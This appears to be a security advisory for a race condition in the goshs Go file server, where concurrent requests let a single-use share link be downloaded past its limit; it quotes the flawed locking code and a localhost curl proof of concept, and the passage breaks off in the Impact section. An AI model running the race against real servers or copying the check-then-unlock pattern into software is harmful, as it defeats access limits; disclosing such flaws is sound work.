CVE-2026-50139

# Share-link `?token=…` redemption races past download limit **Ecosystem:** Go **Package:** `goshs.de/goshs/v2` (`github.com/patrickhener/goshs`) **Affected:** `<= v2.0.9` (every release that shipped the share-link feature) ## Summary `ShareHandler` reads the share token's `DownloadLimit` under `RLock`, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same `Downloaded`/`DownloadLimit` snapshot, all pass the check, and all are served — exceeding the operator's intended cap. ## Details [`httpserver/handler.go:968-1018`](https://github.com/patrickhener/goshs/blob/v2.0.9/httpserver/handler.go#L968-L1018): ```go fs.sharedLinksMu.RLock() entry, ok := fs.SharedLinks[token] fs.sharedLinksMu.RUnlock() // <-- released here if entry.DownloadLimit > 0 || entry.DownloadLimit == -1 { // ...serve file... // <-- whole transfer happens unlocked } fs.sharedLinksMu.Lock() // <-- re-acquired only now current.Downloaded++ if current.Downloaded >= current.DownloadLimit { delete(fs.SharedLinks, token) } fs.sharedLinksMu.Unlock() ``` Between line 978 (`RUnlock`) and line 1008 (`Lock`), any number of goroutines can interleave and each observes the same pre-increment limit. ## Proof of concept ```bash goshs -p 18000 -d /tmp/r -b admin:pw & echo data > /tmp/r/f.txt # operator issues a one-shot share SHARE=$(curl -su admin:pw "http://localhost:18000/f.txt?share&limit=1") TK=$(echo "$SHARE" | sed -n 's/.*token=\([^"]*\)".*/\1/p') # attacker races two redemptions curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \ curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \ wait # observed: 200 / 200 (both succeed) -> limit=1 redeemed twice ``` Reproduced 5/5 times in a row on a 2026-era M-series Mac during verification. ## Impact A "single-use" share intended to deliver a one-shot secret c